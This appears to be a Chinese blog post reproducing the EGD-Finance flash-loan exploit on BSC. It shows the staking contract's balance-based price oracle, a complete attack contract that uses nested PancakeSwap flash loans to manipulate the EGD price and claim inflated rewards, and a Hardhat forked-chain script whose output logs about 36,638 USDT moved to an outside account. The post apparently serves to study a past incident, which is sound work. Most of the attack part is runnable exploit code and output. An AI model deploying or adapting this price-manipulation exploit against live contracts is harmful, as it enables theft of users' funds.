分析下EGD-DEFI攻击路径
参考分析下EGD-DEFI攻击路径: https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03_write_your_own_poc/
https://bscscan.com/address/0x34bd6dba456bc31c2b3393e499fa10bed32a9370 这是一个代理合约,需要找到他的逻辑合约地址
在Contract中,点击Read as Proxy,可以看到目前逻辑合约已经被更新了,并且是未开放源码的。所以我们需要查看更新前的合约逻辑,所以查看下面的地址 https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code
// 质押USDT
function stake(uint amount) external {
......
userSlot[msg.sender][stakeId].totalQuota = amount;
userSlot[msg.sender][stakeId].leftQuota = amount * rate[index] / 100;
userInfo[msg.sender].userStakeList.push(stakeId);
userInfo[msg.sender].totalAmount += amount;
......
}
// 计算并取出收益
function claimAllReward() external {
......
rew += quota * 1e18 / getEGDPrice();
EGD.transfer(msg.sender, rew);
userInfo[msg.sender].totalClaimed += rew;
......
}
// 通过pair余额计算EGD价格
function getEGDPrice() public view returns (uint){
uint balance1 = EGD.balanceOf(pair);
uint balance2 = U.balanceOf(pair);
return (balance2 * 1e18 / balance1);
}
攻击合约逻辑
function getEGDPrice() public view returns (uint){
uint balance1 = egdErc20.balanceOf(0xa361433E409Adac1f87CDF133127585F8a93c67d);
uint balance2 = usdtErc20.balanceOf(0xa361433E409Adac1f87CDF133127585F8a93c67d);
return (balance2 * 1e18 / balance1);
}
function harvestV2() external {
// WBNB-USDT-PAIR贷出usdt
wbnbUsdtPair.swap(1065_000_000_000_000_000_000, 0, address(this), new bytes(2));
}
// pancakeCall V2版本,在一次调用中完成所有流程
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external {
// 在上面的攻击中已经完成了基本攻击,如果想要兑换usdt还需要单独调用swap,另外在准备阶段需要向合约中存储大量的usdt
// 如何用最小的成本攻击呢?
// 如何在一个交易中完成攻击以及egd->usdt的转换
//----------------------------------------------
console.log('data.length:', data.length);
if (data.length == 2) {
// 第一次pancakeCall,这时hack contract中已经有了usdt
// 从usdt-edg-pair中贷款
uint usdtBalance = usdtErc20.balanceOf(0xa361433E409Adac1f87CDF133127585F8a93c67d);
uint loanBalance = usdtBalance - 5050653639021864659 - 1000000000;
// 调用usdt-egd-pair.swap闪电贷 贷出usdt
egdUsdtPair.swap(0, loanBalance, address(this), new bytes(1));
// 这时攻击得到的edg已经到hack contract中了
// 调用pancake router兑换usdt-egd
uint egdBalanceAfterHack = egdErc20.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = 0x202b233735bF743FA31abb8f71e641970161bF98;
path[1] = 0x55d398326f99059fF775485246999027B3197955;
egdErc20.approve(0x10ED43C718714eb63d5aA57B78B54704E256024E, type(uint).max);
// 将usdt兑换到hack contract
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(egdBalanceAfterHack, 1, path, address(this), 1660000547 + 10);
// 归还从wbnb-usdt贷出的usdt
usdtErc20.transfer(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE, 1065_000_000_000_000_000_000 + 10_000_000_000_000_000_000);
// usdt转给外部用户
uint usdtBalanceFinal = usdtErc20.balanceOf(address(this));
usdtErc20.transfer(0x70997970C51812dc3A010C7d01b50e0d17dc79C8, usdtBalanceFinal);
} else {
// 第二次pancakeCall
// 这时egd-usdt pair中的usdt以贷出
// 调用claimAllReward
uint egdTokenegdDefiBalanceBeforeHack = egdErc20.balanceOf(0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370);
// 5678872.403240763806350000
console.log('egdTokenegdDefiBalance before hack:',egdTokenegdDefiBalanceBeforeHack);
egdDefi.claimAllReward();
uint egdTokenegdDefiBalanceAfterHack = egdErc20.balanceOf(0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370);
// 0.001089664673120000
console.log('egdTokenegdDefiBalance after hack:',egdTokenegdDefiBalanceAfterHack);
// 归还从usdt-egd贷出的usdt
uint returnBalance = amount1 + 1065_000_000_000_000_000_000;
usdtErc20.transfer(0xa361433E409Adac1f87CDF133127585F8a93c67d, returnBalance);
}
}
}
调用逻辑
// 成本需要100u,hack完成后将usdt发送到eoa账户
it("attack v2", async function () {
const {hack,owner,otherAccount} = await loadFixture(deployAAVEProtocolFixture);
// 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
console.log(`hack contract address:${hack.address}`);
const richUSDTAddress = '0xd87653Ae81507cdFdD82dF839a3fA74e5b14ed82';
const usdtErcAddress = '0x55d398326f99059fF775485246999027B3197955';
const egdErcAddress = '0x202b233735bF743FA31abb8f71e641970161bF98';
const EGDDefiAddress = '0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370';
console.log(`otherAccount address:${otherAccount.address}`);
let usdtTokenOtherAccountBalance = await Erc20Util.balanceOf(usdtErcAddress, otherAccount.address);
console.log(`otherAccount usdt balance:${usdtTokenOtherAccountBalance}`);
// 给rich usdt 账户转些bnb,下面好通过rich usdt账户给hack contract转usdt
await EthUtil.transferWithOwner(owner, richUSDTAddress, 10_000_000_000_000_000_000n);
await Erc20Util.transfer('0x55d398326f99059fF775485246999027B3197955', richUSDTAddress, hack.address, 100_000_000_000_000_000_000n);
let usdtBalance = await Erc20Util.balanceOf(usdtErcAddress, hack.address);
// 100.000000000000000000
console.log(`hack contract usdt balance:${usdtBalance}`);
// 预攻击准备
/**
* 1. 给EGDDefi授权usdt
* 2. 绑定推荐人
* 3. 质押10 usdt token
*/
await hack.preHack(EGDDefiAddress, 100_000_000_000_000_000_000n);
usdtBalance = await Erc20Util.balanceOf(usdtErcAddress, hack.address);
// 0
console.log(`hack contract usdt balance after stake EGD:${usdtBalance}`);
let block = await ethers.provider.getBlock('latest'); // earliest pending
// 1659914147
console.log(`block timestamp before modify timestamp:${block.timestamp}`);
// 质押24h后, 再领取
await time.setNextBlockTimestamp(block.timestamp + 3600 * 24);
// 修改时间后要产生一个交易才生效
await EthUtil.transferWithOwner(owner, hack.address, 10_000_000_000_000_000_000n);
block = await ethers.provider.getBlock('latest'); // earliest pending
// 1660000547
console.log(`block timestamp after modify timestamp:${block.timestamp}`);
// 24h后计算赚取的收益
const allQuota = await hack.calculateAll(hack.address);
// 0.546999999999955200
console.log(`calculate hack address all quota:${allQuota}`);
let egdBalance = await Erc20Util.balanceOf(egdErcAddress, hack.address);
// 0
console.log(`hack contract EGD balance before claimAllReward:${egdBalance}`);
console.log('--------prepare already--------');
await hack.harvestV2();
console.log('--------finish hack--------');
usdtTokenOtherAccountBalance = await Erc20Util.balanceOf(usdtErcAddress, otherAccount.address);
// 36638.355953361410206181
console.log(`otherAccount usdt balance:${usdtTokenOtherAccountBalance}`);
});
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!